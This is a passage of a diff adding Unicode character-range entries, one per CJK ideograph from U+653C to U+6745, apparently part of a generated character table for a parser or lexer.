+ ["\u653C", "\u653C"], /* CJK Ideograph */
+ ["\u653D", "\u653D"], /* CJK Ideograph */
+ ["\u653E", "\u653E"], /* CJK Ideograph */
+ ["\u653F", "\u653F"], /* CJK Ideograph */
+ ["\u6540", "\u6540"], /* CJK Ideograph */
+ ["\u6541", "\u6541"], /* CJK Ideograph */
+ ["\u6542", "\u6542"], /* CJK Ideograph */
+ ["\u6543", "\u6543"], /* CJK Ideograph */
+ ["\u6544", "\u6544"], /* CJK Ideograph */
+ ["\u6545", "\u6545"], /* CJK Ideograph */
+ ["\u6546", "\u6546"], /* CJK Ideograph */
+ ["\u6547", "\u6547"], /* CJK Ideograph */
+ ["\u6548", "\u6548"], /* CJK Ideograph */
+ ["\u6549", "\u6549"], /* CJK Ideograph */
+ ["\u654A", "\u654A"], /* CJK Ideograph */
+ ["\u654B", "\u654B"], /* CJK Ideograph */
+ ["\u654C", "\u654C"], /* CJK Ideograph */
+ ["\u654D", "\u654D"], /* CJK Ideograph */
+ ["\u654E", "\u654E"], /* CJK Ideograph */
+ ["\u654F", "\u654F"], /* CJK Ideograph */
+ ["\u6550", "\u6550"], /* CJK Ideograph */
+ ["\u6551", "\u6551"], /* CJK Ideograph */
+ ["\u6552", "\u6552"], /* CJK Ideograph */
+ ["\u6553", "\u6553"], /* CJK Ideograph */
+ ["\u6554", "\u6554"], /* CJK Ideograph */
+ ["\u6555", "\u6555"], /* CJK Ideograph */
+ ["\u6556", "\u6556"], /* CJK Ideograph */
+ ["\u6557", "\u6557"], /* CJK Ideograph */
+ ["\u6558", "\u6558"], /* CJK Ideograph */
+ ["\u6559", "\u6559"], /* CJK Ideograph */
+ ["\u655A", "\u655A"], /* CJK Ideograph */
+ ["\u655B", "\u655B"], /* CJK Ideograph */
+ ["\u655C", "\u655C"], /* CJK Ideograph */
+ ["\u655D", "\u655D"], /* CJK Ideograph */
+ ["\u655E", "\u655E"], /* CJK Ideograph */
+ ["\u655F", "\u655F"], /* CJK Ideograph */
+ ["\u6560", "\u6560"], /* CJK Ideograph */
+ ["\u6561", "\u6561"], /* CJK Ideograph */
+ ["\u6562", "\u6562"], /* CJK Ideograph */
+ ["\u6563", "\u6563"], /* CJK Ideograph */
+ ["\u6564", "\u6564"], /* CJK Ideograph */
+ ["\u6565", "\u6565"], /* CJK Ideograph */
+ ["\u6566", "\u6566"], /* CJK Ideograph */
+ ["\u6567", "\u6567"], /* CJK Ideograph */
+ ["\u6568", "\u6568"], /* CJK Ideograph */
+ ["\u6569", "\u6569"], /* CJK Ideograph */
+ ["\u656A", "\u656A"], /* CJK Ideograph */
+ ["\u656B", "\u656B"], /* CJK Ideograph */
+ ["\u656C", "\u656C"], /* CJK Ideograph */
+ ["\u656D", "\u656D"], /* CJK Ideograph */
+ ["\u656E", "\u656E"], /* CJK Ideograph */
+ ["\u656F", "\u656F"], /* CJK Ideograph */
+ ["\u6570", "\u6570"], /* CJK Ideograph */
+ ["\u6571", "\u6571"], /* CJK Ideograph */
+ ["\u6572", "\u6572"], /* CJK Ideograph */
+ ["\u6573", "\u6573"], /* CJK Ideograph */
+ ["\u6574", "\u6574"], /* CJK Ideograph */
+ ["\u6575", "\u6575"], /* CJK Ideograph */
+ ["\u6576", "\u6576"], /* CJK Ideograph */
+ ["\u6577", "\u6577"], /* CJK Ideograph */
+ ["\u6578", "\u6578"], /* CJK Ideograph */
+ ["\u6579", "\u6579"], /* CJK Ideograph */
+ ["\u657A", "\u657A"], /* CJK Ideograph */
+ ["\u657B", "\u657B"], /* CJK Ideograph */
+ ["\u657C", "\u657C"], /* CJK Ideograph */
+ ["\u657D", "\u657D"], /* CJK Ideograph */
+ ["\u657E", "\u657E"], /* CJK Ideograph */
+ ["\u657F", "\u657F"], /* CJK Ideograph */
+ ["\u6580", "\u6580"], /* CJK Ideograph */
+ ["\u6581", "\u6581"], /* CJK Ideograph */
+ ["\u6582", "\u6582"], /* CJK Ideograph */
+ ["\u6583", "\u6583"], /* CJK Ideograph */
+ ["\u6584", "\u6584"], /* CJK Ideograph */
+ ["\u6585", "\u6585"], /* CJK Ideograph */
+ ["\u6586", "\u6586"], /* CJK Ideograph */
+ ["\u6587", "\u6587"], /* CJK Ideograph */
+ ["\u6588", "\u6588"], /* CJK Ideograph */
+ ["\u6589", "\u6589"], /* CJK Ideograph */
+ ["\u658A", "\u658A"], /* CJK Ideograph */
+ ["\u658B", "\u658B"], /* CJK Ideograph */
+ ["\u658C", "\u658C"], /* CJK Ideograph */
+ ["\u658D", "\u658D"], /* CJK Ideograph */
+ ["\u658E", "\u658E"], /* CJK Ideograph */
+ ["\u658F", "\u658F"], /* CJK Ideograph */
+ ["\u6590", "\u6590"], /* CJK Ideograph */
+ ["\u6591", "\u6591"], /* CJK Ideograph */
+ ["\u6592", "\u6592"], /* CJK Ideograph */
+ ["\u6593", "\u6593"], /* CJK Ideograph */
+ ["\u6594", "\u6594"], /* CJK Ideograph */
+ ["\u6595", "\u6595"], /* CJK Ideograph */
+ ["\u6596", "\u6596"], /* CJK Ideograph */
+ ["\u6597", "\u6597"], /* CJK Ideograph */
+ ["\u6598", "\u6598"], /* CJK Ideograph */
+ ["\u6599", "\u6599"], /* CJK Ideograph */
+ ["\u659A", "\u659A"], /* CJK Ideograph */
+ ["\u659B", "\u659B"], /* CJK Ideograph */
+ ["\u659C", "\u659C"], /* CJK Ideograph */
+ ["\u659D", "\u659D"], /* CJK Ideograph */
+ ["\u659E", "\u659E"], /* CJK Ideograph */
+ ["\u659F", "\u659F"], /* CJK Ideograph */
+ ["\u65A0", "\u65A0"], /* CJK Ideograph */
+ ["\u65A1", "\u65A1"], /* CJK Ideograph */
+ ["\u65A2", "\u65A2"], /* CJK Ideograph */
+ ["\u65A3", "\u65A3"], /* CJK Ideograph */
+ ["\u65A4", "\u65A4"], /* CJK Ideograph */
+ ["\u65A5", "\u65A5"], /* CJK Ideograph */
+ ["\u65A6", "\u65A6"], /* CJK Ideograph */
+ ["\u65A7", "\u65A7"], /* CJK Ideograph */
+ ["\u65A8", "\u65A8"], /* CJK Ideograph */
+ ["\u65A9", "\u65A9"], /* CJK Ideograph */
+ ["\u65AA", "\u65AA"], /* CJK Ideograph */
+ ["\u65AB", "\u65AB"], /* CJK Ideograph */
+ ["\u65AC", "\u65AC"], /* CJK Ideograph */
+ ["\u65AD", "\u65AD"], /* CJK Ideograph */
+ ["\u65AE", "\u65AE"], /* CJK Ideograph */
+ ["\u65AF", "\u65AF"], /* CJK Ideograph */
+ ["\u65B0", "\u65B0"], /* CJK Ideograph */
+ ["\u65B1", "\u65B1"], /* CJK Ideograph */
+ ["\u65B2", "\u65B2"], /* CJK Ideograph */
+ ["\u65B3", "\u65B3"], /* CJK Ideograph */
+ ["\u65B4", "\u65B4"], /* CJK Ideograph */
+ ["\u65B5", "\u65B5"], /* CJK Ideograph */
+ ["\u65B6", "\u65B6"], /* CJK Ideograph */
+ ["\u65B7", "\u65B7"], /* CJK Ideograph */
+ ["\u65B8", "\u65B8"], /* CJK Ideograph */
+ ["\u65B9", "\u65B9"], /* CJK Ideograph */
+ ["\u65BA", "\u65BA"], /* CJK Ideograph */
+ ["\u65BB", "\u65BB"], /* CJK Ideograph */
+ ["\u65BC", "\u65BC"], /* CJK Ideograph */
+ ["\u65BD", "\u65BD"], /* CJK Ideograph */
+ ["\u65BE", "\u65BE"], /* CJK Ideograph */
+ ["\u65BF", "\u65BF"], /* CJK Ideograph */
+ ["\u65C0", "\u65C0"], /* CJK Ideograph */
+ ["\u65C1", "\u65C1"], /* CJK Ideograph */
+ ["\u65C2", "\u65C2"], /* CJK Ideograph */
+ ["\u65C3", "\u65C3"], /* CJK Ideograph */
+ ["\u65C4", "\u65C4"], /* CJK Ideograph */
+ ["\u65C5", "\u65C5"], /* CJK Ideograph */
+ ["\u65C6", "\u65C6"], /* CJK Ideograph */
+ ["\u65C7", "\u65C7"], /* CJK Ideograph */
+ ["\u65C8", "\u65C8"], /* CJK Ideograph */
+ ["\u65C9", "\u65C9"], /* CJK Ideograph */
+ ["\u65CA", "\u65CA"], /* CJK Ideograph */
+ ["\u65CB", "\u65CB"], /* CJK Ideograph */
+ ["\u65CC", "\u65CC"], /* CJK Ideograph */
+ ["\u65CD", "\u65CD"], /* CJK Ideograph */
+ ["\u65CE", "\u65CE"], /* CJK Ideograph */
+ ["\u65CF", "\u65CF"], /* CJK Ideograph */
+ ["\u65D0", "\u65D0"], /* CJK Ideograph */
+ ["\u65D1", "\u65D1"], /* CJK Ideograph */
+ ["\u65D2", "\u65D2"], /* CJK Ideograph */
+ ["\u65D3", "\u65D3"], /* CJK Ideograph */
+ ["\u65D4", "\u65D4"], /* CJK Ideograph */
+ ["\u65D5", "\u65D5"], /* CJK Ideograph */
+ ["\u65D6", "\u65D6"], /* CJK Ideograph */
+ ["\u65D7", "\u65D7"], /* CJK Ideograph */
+ ["\u65D8", "\u65D8"], /* CJK Ideograph */
+ ["\u65D9", "\u65D9"], /* CJK Ideograph */
+ ["\u65DA", "\u65DA"], /* CJK Ideograph */
+ ["\u65DB", "\u65DB"], /* CJK Ideograph */
+ ["\u65DC", "\u65DC"], /* CJK Ideograph */
+ ["\u65DD", "\u65DD"], /* CJK Ideograph */
+ ["\u65DE", "\u65DE"], /* CJK Ideograph */
+ ["\u65DF", "\u65DF"], /* CJK Ideograph */
+ ["\u65E0", "\u65E0"], /* CJK Ideograph */
+ ["\u65E1", "\u65E1"], /* CJK Ideograph */
+ ["\u65E2", "\u65E2"], /* CJK Ideograph */
+ ["\u65E3", "\u65E3"], /* CJK Ideograph */
+ ["\u65E4", "\u65E4"], /* CJK Ideograph */
+ ["\u65E5", "\u65E5"], /* CJK Ideograph */
+ ["\u65E6", "\u65E6"], /* CJK Ideograph */
+ ["\u65E7", "\u65E7"], /* CJK Ideograph */
+ ["\u65E8", "\u65E8"], /* CJK Ideograph */
+ ["\u65E9", "\u65E9"], /* CJK Ideograph */
+ ["\u65EA", "\u65EA"], /* CJK Ideograph */
+ ["\u65EB", "\u65EB"], /* CJK Ideograph */
+ ["\u65EC", "\u65EC"], /* CJK Ideograph */
+ ["\u65ED", "\u65ED"], /* CJK Ideograph */
+ ["\u65EE", "\u65EE"], /* CJK Ideograph */
+ ["\u65EF", "\u65EF"], /* CJK Ideograph */
+ ["\u65F0", "\u65F0"], /* CJK Ideograph */
+ ["\u65F1", "\u65F1"], /* CJK Ideograph */
+ ["\u65F2", "\u65F2"], /* CJK Ideograph */
+ ["\u65F3", "\u65F3"], /* CJK Ideograph */
+ ["\u65F4", "\u65F4"], /* CJK Ideograph */
+ ["\u65F5", "\u65F5"], /* CJK Ideograph */
+ ["\u65F6", "\u65F6"], /* CJK Ideograph */
+ ["\u65F7", "\u65F7"], /* CJK Ideograph */
+ ["\u65F8", "\u65F8"], /* CJK Ideograph */
+ ["\u65F9", "\u65F9"], /* CJK Ideograph */
+ ["\u65FA", "\u65FA"], /* CJK Ideograph */
+ ["\u65FB", "\u65FB"], /* CJK Ideograph */
+ ["\u65FC", "\u65FC"], /* CJK Ideograph */
+ ["\u65FD", "\u65FD"], /* CJK Ideograph */
+ ["\u65FE", "\u65FE"], /* CJK Ideograph */
+ ["\u65FF", "\u65FF"], /* CJK Ideograph */
+ ["\u6600", "\u6600"], /* CJK Ideograph */
+ ["\u6601", "\u6601"], /* CJK Ideograph */
+ ["\u6602", "\u6602"], /* CJK Ideograph */
+ ["\u6603", "\u6603"], /* CJK Ideograph */
+ ["\u6604", "\u6604"], /* CJK Ideograph */
+ ["\u6605", "\u6605"], /* CJK Ideograph */
+ ["\u6606", "\u6606"], /* CJK Ideograph */
+ ["\u6607", "\u6607"], /* CJK Ideograph */
+ ["\u6608", "\u6608"], /* CJK Ideograph */
+ ["\u6609", "\u6609"], /* CJK Ideograph */
+ ["\u660A", "\u660A"], /* CJK Ideograph */
+ ["\u660B", "\u660B"], /* CJK Ideograph */
+ ["\u660C", "\u660C"], /* CJK Ideograph */
+ ["\u660D", "\u660D"], /* CJK Ideograph */
+ ["\u660E", "\u660E"], /* CJK Ideograph */
+ ["\u660F", "\u660F"], /* CJK Ideograph */
+ ["\u6610", "\u6610"], /* CJK Ideograph */
+ ["\u6611", "\u6611"], /* CJK Ideograph */
+ ["\u6612", "\u6612"], /* CJK Ideograph */
+ ["\u6613", "\u6613"], /* CJK Ideograph */
+ ["\u6614", "\u6614"], /* CJK Ideograph */
+ ["\u6615", "\u6615"], /* CJK Ideograph */
+ ["\u6616", "\u6616"], /* CJK Ideograph */
+ ["\u6617", "\u6617"], /* CJK Ideograph */
+ ["\u6618", "\u6618"], /* CJK Ideograph */
+ ["\u6619", "\u6619"], /* CJK Ideograph */
+ ["\u661A", "\u661A"], /* CJK Ideograph */
+ ["\u661B", "\u661B"], /* CJK Ideograph */
+ ["\u661C", "\u661C"], /* CJK Ideograph */
+ ["\u661D", "\u661D"], /* CJK Ideograph */
+ ["\u661E", "\u661E"], /* CJK Ideograph */
+ ["\u661F", "\u661F"], /* CJK Ideograph */
+ ["\u6620", "\u6620"], /* CJK Ideograph */
+ ["\u6621", "\u6621"], /* CJK Ideograph */
+ ["\u6622", "\u6622"], /* CJK Ideograph */
+ ["\u6623", "\u6623"], /* CJK Ideograph */
+ ["\u6624", "\u6624"], /* CJK Ideograph */
+ ["\u6625", "\u6625"], /* CJK Ideograph */
+ ["\u6626", "\u6626"], /* CJK Ideograph */
+ ["\u6627", "\u6627"], /* CJK Ideograph */
+ ["\u6628", "\u6628"], /* CJK Ideograph */
+ ["\u6629", "\u6629"], /* CJK Ideograph */
+ ["\u662A", "\u662A"], /* CJK Ideograph */
+ ["\u662B", "\u662B"], /* CJK Ideograph */
+ ["\u662C", "\u662C"], /* CJK Ideograph */
+ ["\u662D", "\u662D"], /* CJK Ideograph */
+ ["\u662E", "\u662E"], /* CJK Ideograph */
+ ["\u662F", "\u662F"], /* CJK Ideograph */
+ ["\u6630", "\u6630"], /* CJK Ideograph */
+ ["\u6631", "\u6631"], /* CJK Ideograph */
+ ["\u6632", "\u6632"], /* CJK Ideograph */
+ ["\u6633", "\u6633"], /* CJK Ideograph */
+ ["\u6634", "\u6634"], /* CJK Ideograph */
+ ["\u6635", "\u6635"], /* CJK Ideograph */
+ ["\u6636", "\u6636"], /* CJK Ideograph */
+ ["\u6637", "\u6637"], /* CJK Ideograph */
+ ["\u6638", "\u6638"], /* CJK Ideograph */
+ ["\u6639", "\u6639"], /* CJK Ideograph */
+ ["\u663A", "\u663A"], /* CJK Ideograph */
+ ["\u663B", "\u663B"], /* CJK Ideograph */
+ ["\u663C", "\u663C"], /* CJK Ideograph */
+ ["\u663D", "\u663D"], /* CJK Ideograph */
+ ["\u663E", "\u663E"], /* CJK Ideograph */
+ ["\u663F", "\u663F"], /* CJK Ideograph */
+ ["\u6640", "\u6640"], /* CJK Ideograph */
+ ["\u6641", "\u6641"], /* CJK Ideograph */
+ ["\u6642", "\u6642"], /* CJK Ideograph */
+ ["\u6643", "\u6643"], /* CJK Ideograph */
+ ["\u6644", "\u6644"], /* CJK Ideograph */
+ ["\u6645", "\u6645"], /* CJK Ideograph */
+ ["\u6646", "\u6646"], /* CJK Ideograph */
+ ["\u6647", "\u6647"], /* CJK Ideograph */
+ ["\u6648", "\u6648"], /* CJK Ideograph */
+ ["\u6649", "\u6649"], /* CJK Ideograph */
+ ["\u664A", "\u664A"], /* CJK Ideograph */
+ ["\u664B", "\u664B"], /* CJK Ideograph */
+ ["\u664C", "\u664C"], /* CJK Ideograph */
+ ["\u664D", "\u664D"], /* CJK Ideograph */
+ ["\u664E", "\u664E"], /* CJK Ideograph */
+ ["\u664F", "\u664F"], /* CJK Ideograph */
+ ["\u6650", "\u6650"], /* CJK Ideograph */
+ ["\u6651", "\u6651"], /* CJK Ideograph */
+ ["\u6652", "\u6652"], /* CJK Ideograph */
+ ["\u6653", "\u6653"], /* CJK Ideograph */
+ ["\u6654", "\u6654"], /* CJK Ideograph */
+ ["\u6655", "\u6655"], /* CJK Ideograph */
+ ["\u6656", "\u6656"], /* CJK Ideograph */
+ ["\u6657", "\u6657"], /* CJK Ideograph */
+ ["\u6658", "\u6658"], /* CJK Ideograph */
+ ["\u6659", "\u6659"], /* CJK Ideograph */
+ ["\u665A", "\u665A"], /* CJK Ideograph */
+ ["\u665B", "\u665B"], /* CJK Ideograph */
+ ["\u665C", "\u665C"], /* CJK Ideograph */
+ ["\u665D", "\u665D"], /* CJK Ideograph */
+ ["\u665E", "\u665E"], /* CJK Ideograph */
+ ["\u665F", "\u665F"], /* CJK Ideograph */
+ ["\u6660", "\u6660"], /* CJK Ideograph */
+ ["\u6661", "\u6661"], /* CJK Ideograph */
+ ["\u6662", "\u6662"], /* CJK Ideograph */
+ ["\u6663", "\u6663"], /* CJK Ideograph */
+ ["\u6664", "\u6664"], /* CJK Ideograph */
+ ["\u6665", "\u6665"], /* CJK Ideograph */
+ ["\u6666", "\u6666"], /* CJK Ideograph */
+ ["\u6667", "\u6667"], /* CJK Ideograph */
+ ["\u6668", "\u6668"], /* CJK Ideograph */
+ ["\u6669", "\u6669"], /* CJK Ideograph */
+ ["\u666A", "\u666A"], /* CJK Ideograph */
+ ["\u666B", "\u666B"], /* CJK Ideograph */
+ ["\u666C", "\u666C"], /* CJK Ideograph */
+ ["\u666D", "\u666D"], /* CJK Ideograph */
+ ["\u666E", "\u666E"], /* CJK Ideograph */
+ ["\u666F", "\u666F"], /* CJK Ideograph */
+ ["\u6670", "\u6670"], /* CJK Ideograph */
+ ["\u6671", "\u6671"], /* CJK Ideograph */
+ ["\u6672", "\u6672"], /* CJK Ideograph */
+ ["\u6673", "\u6673"], /* CJK Ideograph */
+ ["\u6674", "\u6674"], /* CJK Ideograph */
+ ["\u6675", "\u6675"], /* CJK Ideograph */
+ ["\u6676", "\u6676"], /* CJK Ideograph */
+ ["\u6677", "\u6677"], /* CJK Ideograph */
+ ["\u6678", "\u6678"], /* CJK Ideograph */
+ ["\u6679", "\u6679"], /* CJK Ideograph */
+ ["\u667A", "\u667A"], /* CJK Ideograph */
+ ["\u667B", "\u667B"], /* CJK Ideograph */
+ ["\u667C", "\u667C"], /* CJK Ideograph */
+ ["\u667D", "\u667D"], /* CJK Ideograph */
+ ["\u667E", "\u667E"], /* CJK Ideograph */
+ ["\u667F", "\u667F"], /* CJK Ideograph */
+ ["\u6680", "\u6680"], /* CJK Ideograph */
+ ["\u6681", "\u6681"], /* CJK Ideograph */
+ ["\u6682", "\u6682"], /* CJK Ideograph */
+ ["\u6683", "\u6683"], /* CJK Ideograph */
+ ["\u6684", "\u6684"], /* CJK Ideograph */
+ ["\u6685", "\u6685"], /* CJK Ideograph */
+ ["\u6686", "\u6686"], /* CJK Ideograph */
+ ["\u6687", "\u6687"], /* CJK Ideograph */
+ ["\u6688", "\u6688"], /* CJK Ideograph */
+ ["\u6689", "\u6689"], /* CJK Ideograph */
+ ["\u668A", "\u668A"], /* CJK Ideograph */
+ ["\u668B", "\u668B"], /* CJK Ideograph */
+ ["\u668C", "\u668C"], /* CJK Ideograph */
+ ["\u668D", "\u668D"], /* CJK Ideograph */
+ ["\u668E", "\u668E"], /* CJK Ideograph */
+ ["\u668F", "\u668F"], /* CJK Ideograph */
+ ["\u6690", "\u6690"], /* CJK Ideograph */
+ ["\u6691", "\u6691"], /* CJK Ideograph */
+ ["\u6692", "\u6692"], /* CJK Ideograph */
+ ["\u6693", "\u6693"], /* CJK Ideograph */
+ ["\u6694", "\u6694"], /* CJK Ideograph */
+ ["\u6695", "\u6695"], /* CJK Ideograph */
+ ["\u6696", "\u6696"], /* CJK Ideograph */
+ ["\u6697", "\u6697"], /* CJK Ideograph */
+ ["\u6698", "\u6698"], /* CJK Ideograph */
+ ["\u6699", "\u6699"], /* CJK Ideograph */
+ ["\u669A", "\u669A"], /* CJK Ideograph */
+ ["\u669B", "\u669B"], /* CJK Ideograph */
+ ["\u669C", "\u669C"], /* CJK Ideograph */
+ ["\u669D", "\u669D"], /* CJK Ideograph */
+ ["\u669E", "\u669E"], /* CJK Ideograph */
+ ["\u669F", "\u669F"], /* CJK Ideograph */
+ ["\u66A0", "\u66A0"], /* CJK Ideograph */
+ ["\u66A1", "\u66A1"], /* CJK Ideograph */
+ ["\u66A2", "\u66A2"], /* CJK Ideograph */
+ ["\u66A3", "\u66A3"], /* CJK Ideograph */
+ ["\u66A4", "\u66A4"], /* CJK Ideograph */
+ ["\u66A5", "\u66A5"], /* CJK Ideograph */
+ ["\u66A6", "\u66A6"], /* CJK Ideograph */
+ ["\u66A7", "\u66A7"], /* CJK Ideograph */
+ ["\u66A8", "\u66A8"], /* CJK Ideograph */
+ ["\u66A9", "\u66A9"], /* CJK Ideograph */
+ ["\u66AA", "\u66AA"], /* CJK Ideograph */
+ ["\u66AB", "\u66AB"], /* CJK Ideograph */
+ ["\u66AC", "\u66AC"], /* CJK Ideograph */
+ ["\u66AD", "\u66AD"], /* CJK Ideograph */
+ ["\u66AE", "\u66AE"], /* CJK Ideograph */
+ ["\u66AF", "\u66AF"], /* CJK Ideograph */
+ ["\u66B0", "\u66B0"], /* CJK Ideograph */
+ ["\u66B1", "\u66B1"], /* CJK Ideograph */
+ ["\u66B2", "\u66B2"], /* CJK Ideograph */
+ ["\u66B3", "\u66B3"], /* CJK Ideograph */
+ ["\u66B4", "\u66B4"], /* CJK Ideograph */
+ ["\u66B5", "\u66B5"], /* CJK Ideograph */
+ ["\u66B6", "\u66B6"], /* CJK Ideograph */
+ ["\u66B7", "\u66B7"], /* CJK Ideograph */
+ ["\u66B8", "\u66B8"], /* CJK Ideograph */
+ ["\u66B9", "\u66B9"], /* CJK Ideograph */
+ ["\u66BA", "\u66BA"], /* CJK Ideograph */
+ ["\u66BB", "\u66BB"], /* CJK Ideograph */
+ ["\u66BC", "\u66BC"], /* CJK Ideograph */
+ ["\u66BD", "\u66BD"], /* CJK Ideograph */
+ ["\u66BE", "\u66BE"], /* CJK Ideograph */
+ ["\u66BF", "\u66BF"], /* CJK Ideograph */
+ ["\u66C0", "\u66C0"], /* CJK Ideograph */
+ ["\u66C1", "\u66C1"], /* CJK Ideograph */
+ ["\u66C2", "\u66C2"], /* CJK Ideograph */
+ ["\u66C3", "\u66C3"], /* CJK Ideograph */
+ ["\u66C4", "\u66C4"], /* CJK Ideograph */
+ ["\u66C5", "\u66C5"], /* CJK Ideograph */
+ ["\u66C6", "\u66C6"], /* CJK Ideograph */
+ ["\u66C7", "\u66C7"], /* CJK Ideograph */
+ ["\u66C8", "\u66C8"], /* CJK Ideograph */
+ ["\u66C9", "\u66C9"], /* CJK Ideograph */
+ ["\u66CA", "\u66CA"], /* CJK Ideograph */
+ ["\u66CB", "\u66CB"], /* CJK Ideograph */
+ ["\u66CC", "\u66CC"], /* CJK Ideograph */
+ ["\u66CD", "\u66CD"], /* CJK Ideograph */
+ ["\u66CE", "\u66CE"], /* CJK Ideograph */
+ ["\u66CF", "\u66CF"], /* CJK Ideograph */
+ ["\u66D0", "\u66D0"], /* CJK Ideograph */
+ ["\u66D1", "\u66D1"], /* CJK Ideograph */
+ ["\u66D2", "\u66D2"], /* CJK Ideograph */
+ ["\u66D3", "\u66D3"], /* CJK Ideograph */
+ ["\u66D4", "\u66D4"], /* CJK Ideograph */
+ ["\u66D5", "\u66D5"], /* CJK Ideograph */
+ ["\u66D6", "\u66D6"], /* CJK Ideograph */
+ ["\u66D7", "\u66D7"], /* CJK Ideograph */
+ ["\u66D8", "\u66D8"], /* CJK Ideograph */
+ ["\u66D9", "\u66D9"], /* CJK Ideograph */
+ ["\u66DA", "\u66DA"], /* CJK Ideograph */
+ ["\u66DB", "\u66DB"], /* CJK Ideograph */
+ ["\u66DC", "\u66DC"], /* CJK Ideograph */
+ ["\u66DD", "\u66DD"], /* CJK Ideograph */
+ ["\u66DE", "\u66DE"], /* CJK Ideograph */
+ ["\u66DF", "\u66DF"], /* CJK Ideograph */
+ ["\u66E0", "\u66E0"], /* CJK Ideograph */
+ ["\u66E1", "\u66E1"], /* CJK Ideograph */
+ ["\u66E2", "\u66E2"], /* CJK Ideograph */
+ ["\u66E3", "\u66E3"], /* CJK Ideograph */
+ ["\u66E4", "\u66E4"], /* CJK Ideograph */
+ ["\u66E5", "\u66E5"], /* CJK Ideograph */
+ ["\u66E6", "\u66E6"], /* CJK Ideograph */
+ ["\u66E7", "\u66E7"], /* CJK Ideograph */
+ ["\u66E8", "\u66E8"], /* CJK Ideograph */
+ ["\u66E9", "\u66E9"], /* CJK Ideograph */
+ ["\u66EA", "\u66EA"], /* CJK Ideograph */
+ ["\u66EB", "\u66EB"], /* CJK Ideograph */
+ ["\u66EC", "\u66EC"], /* CJK Ideograph */
+ ["\u66ED", "\u66ED"], /* CJK Ideograph */
+ ["\u66EE", "\u66EE"], /* CJK Ideograph */
+ ["\u66EF", "\u66EF"], /* CJK Ideograph */
+ ["\u66F0", "\u66F0"], /* CJK Ideograph */
+ ["\u66F1", "\u66F1"], /* CJK Ideograph */
+ ["\u66F2", "\u66F2"], /* CJK Ideograph */
+ ["\u66F3", "\u66F3"], /* CJK Ideograph */
+ ["\u66F4", "\u66F4"], /* CJK Ideograph */
+ ["\u66F5", "\u66F5"], /* CJK Ideograph */
+ ["\u66F6", "\u66F6"], /* CJK Ideograph */
+ ["\u66F7", "\u66F7"], /* CJK Ideograph */
+ ["\u66F8", "\u66F8"], /* CJK Ideograph */
+ ["\u66F9", "\u66F9"], /* CJK Ideograph */
+ ["\u66FA", "\u66FA"], /* CJK Ideograph */
+ ["\u66FB", "\u66FB"], /* CJK Ideograph */
+ ["\u66FC", "\u66FC"], /* CJK Ideograph */
+ ["\u66FD", "\u66FD"], /* CJK Ideograph */
+ ["\u66FE", "\u66FE"], /* CJK Ideograph */
+ ["\u66FF", "\u66FF"], /* CJK Ideograph */
+ ["\u6700", "\u6700"], /* CJK Ideograph */
+ ["\u6701", "\u6701"], /* CJK Ideograph */
+ ["\u6702", "\u6702"], /* CJK Ideograph */
+ ["\u6703", "\u6703"], /* CJK Ideograph */
+ ["\u6704", "\u6704"], /* CJK Ideograph */
+ ["\u6705", "\u6705"], /* CJK Ideograph */
+ ["\u6706", "\u6706"], /* CJK Ideograph */
+ ["\u6707", "\u6707"], /* CJK Ideograph */
+ ["\u6708", "\u6708"], /* CJK Ideograph */
+ ["\u6709", "\u6709"], /* CJK Ideograph */
+ ["\u670A", "\u670A"], /* CJK Ideograph */
+ ["\u670B", "\u670B"], /* CJK Ideograph */
+ ["\u670C", "\u670C"], /* CJK Ideograph */
+ ["\u670D", "\u670D"], /* CJK Ideograph */
+ ["\u670E", "\u670E"], /* CJK Ideograph */
+ ["\u670F", "\u670F"], /* CJK Ideograph */
+ ["\u6710", "\u6710"], /* CJK Ideograph */
+ ["\u6711", "\u6711"], /* CJK Ideograph */
+ ["\u6712", "\u6712"], /* CJK Ideograph */
+ ["\u6713", "\u6713"], /* CJK Ideograph */
+ ["\u6714", "\u6714"], /* CJK Ideograph */
+ ["\u6715", "\u6715"], /* CJK Ideograph */
+ ["\u6716", "\u6716"], /* CJK Ideograph */
+ ["\u6717", "\u6717"], /* CJK Ideograph */
+ ["\u6718", "\u6718"], /* CJK Ideograph */
+ ["\u6719", "\u6719"], /* CJK Ideograph */
+ ["\u671A", "\u671A"], /* CJK Ideograph */
+ ["\u671B", "\u671B"], /* CJK Ideograph */
+ ["\u671C", "\u671C"], /* CJK Ideograph */
+ ["\u671D", "\u671D"], /* CJK Ideograph */
+ ["\u671E", "\u671E"], /* CJK Ideograph */
+ ["\u671F", "\u671F"], /* CJK Ideograph */
+ ["\u6720", "\u6720"], /* CJK Ideograph */
+ ["\u6721", "\u6721"], /* CJK Ideograph */
+ ["\u6722", "\u6722"], /* CJK Ideograph */
+ ["\u6723", "\u6723"], /* CJK Ideograph */
+ ["\u6724", "\u6724"], /* CJK Ideograph */
+ ["\u6725", "\u6725"], /* CJK Ideograph */
+ ["\u6726", "\u6726"], /* CJK Ideograph */
+ ["\u6727", "\u6727"], /* CJK Ideograph */
+ ["\u6728", "\u6728"], /* CJK Ideograph */
+ ["\u6729", "\u6729"], /* CJK Ideograph */
+ ["\u672A", "\u672A"], /* CJK Ideograph */
+ ["\u672B", "\u672B"], /* CJK Ideograph */
+ ["\u672C", "\u672C"], /* CJK Ideograph */
+ ["\u672D", "\u672D"], /* CJK Ideograph */
+ ["\u672E", "\u672E"], /* CJK Ideograph */
+ ["\u672F", "\u672F"], /* CJK Ideograph */
+ ["\u6730", "\u6730"], /* CJK Ideograph */
+ ["\u6731", "\u6731"], /* CJK Ideograph */
+ ["\u6732", "\u6732"], /* CJK Ideograph */
+ ["\u6733", "\u6733"], /* CJK Ideograph */
+ ["\u6734", "\u6734"], /* CJK Ideograph */
+ ["\u6735", "\u6735"], /* CJK Ideograph */
+ ["\u6736", "\u6736"], /* CJK Ideograph */
+ ["\u6737", "\u6737"], /* CJK Ideograph */
+ ["\u6738", "\u6738"], /* CJK Ideograph */
+ ["\u6739", "\u6739"], /* CJK Ideograph */
+ ["\u673A", "\u673A"], /* CJK Ideograph */
+ ["\u673B", "\u673B"], /* CJK Ideograph */
+ ["\u673C", "\u673C"], /* CJK Ideograph */
+ ["\u673D", "\u673D"], /* CJK Ideograph */
+ ["\u673E", "\u673E"], /* CJK Ideograph */
+ ["\u673F", "\u673F"], /* CJK Ideograph */
+ ["\u6740", "\u6740"], /* CJK Ideograph */
+ ["\u6741", "\u6741"], /* CJK Ideograph */
+ ["\u6742", "\u6742"], /* CJK Ideograph */
+ ["\u6743", "\u6743"], /* CJK Ideograph */
+ ["\u6744", "\u6744"], /* CJK Ideograph */
+ ["\u6745", "\u6745"], /* CJK Ideograph */
